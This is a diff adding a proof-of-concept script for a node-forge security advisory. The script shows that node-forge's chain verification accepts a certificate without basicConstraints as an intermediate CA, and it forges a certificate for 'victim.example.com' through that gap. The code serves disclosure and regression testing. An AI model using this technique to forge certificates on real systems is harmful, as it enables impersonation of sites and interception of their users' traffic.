|
| 1 | +// Security Advisory PoC |
| 2 | +// |
| 3 | +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25 |
| 4 | +// |
| 5 | +// Doruk Tan Ozturk (@peaktwilight) - doruk.ch |
| 6 | + |
| 7 | +const forge = require('../..'); |
| 8 | +const pki = forge.pki; |
| 9 | + |
| 10 | +function generateKeyPair() { |
| 11 | + return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); |
| 12 | +} |
| 13 | + |
| 14 | +console.log('=== node-forge basicConstraints Bypass PoC ===\n'); |
| 15 | + |
| 16 | +// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) |
| 17 | +const rootKeys = generateKeyPair(); |
| 18 | +const rootCert = pki.createCertificate(); |
| 19 | +rootCert.publicKey = rootKeys.publicKey; |
| 20 | +rootCert.serialNumber = '01'; |
| 21 | +rootCert.validity.notBefore = new Date(); |
| 22 | +rootCert.validity.notAfter = new Date(); |
| 23 | +rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); |
| 24 | + |
| 25 | +const rootAttrs = [ |
| 26 | + { name: 'commonName', value: 'Legitimate Root CA' }, |
| 27 | + { name: 'organizationName', value: 'PoC Security Test' } |
| 28 | +]; |
| 29 | +rootCert.setSubject(rootAttrs); |
| 30 | +rootCert.setIssuer(rootAttrs); |
| 31 | +rootCert.setExtensions([ |
| 32 | + { name: 'basicConstraints', cA: true, critical: true }, |
| 33 | + { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } |
| 34 | +]); |
| 35 | +rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); |
| 36 | + |
| 37 | +// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage |
| 38 | +// This certificate should NOT be allowed to sign other certificates |
| 39 | +const leafKeys = generateKeyPair(); |
| 40 | +const leafCert = pki.createCertificate(); |
| 41 | +leafCert.publicKey = leafKeys.publicKey; |
| 42 | +leafCert.serialNumber = '02'; |
| 43 | +leafCert.validity.notBefore = new Date(); |
| 44 | +leafCert.validity.notAfter = new Date(); |
| 45 | +leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); |
| 46 | + |
| 47 | +const leafAttrs = [ |
| 48 | + { name: 'commonName', value: 'Non-CA Leaf Certificate' }, |
| 49 | + { name: 'organizationName', value: 'PoC Security Test' } |
| 50 | +]; |
| 51 | +leafCert.setSubject(leafAttrs); |
| 52 | +leafCert.setIssuer(rootAttrs); |
| 53 | +// NO basicConstraints extension — NO keyUsage extension |
| 54 | +leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); |
| 55 | + |
| 56 | +// 3. Create a "victim" certificate signed by the leaf |
| 57 | +// This simulates an attacker using a non-CA cert to forge certificates |
| 58 | +const victimKeys = generateKeyPair(); |
| 59 | +const victimCert = pki.createCertificate(); |
| 60 | +victimCert.publicKey = victimKeys.publicKey; |
| 61 | +victimCert.serialNumber = '03'; |
| 62 | +victimCert.validity.notBefore = new Date(); |
| 63 | +victimCert.validity.notAfter = new Date(); |
| 64 | +victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); |
| 65 | + |
| 66 | +const victimAttrs = [ |
| 67 | + { name: 'commonName', value: 'victim.example.com' }, |
| 68 | + { name: 'organizationName', value: 'Victim Corp' } |
| 69 | +]; |
| 70 | +victimCert.setSubject(victimAttrs); |
| 71 | +victimCert.setIssuer(leafAttrs); |
| 72 | +victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); |
| 73 | + |
| 74 | +// 4. Verify the chain: root -> leaf -> victim |
| 75 | +const caStore = pki.createCaStore([rootCert]); |
| 76 | + |
| 77 | +try { |
| 78 | + const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); |
| 79 | + //const result = pki.verifyCertificateChain(caStore, [leafCert, victimCert]); |
| 80 | + console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); |
| 81 | + console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); |
| 82 | + console.log(' This violates RFC 5280 Section 6.1.4.'); |
| 83 | +} catch (e) { |
| 84 | + console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); |
| 85 | +} |
0 commit comments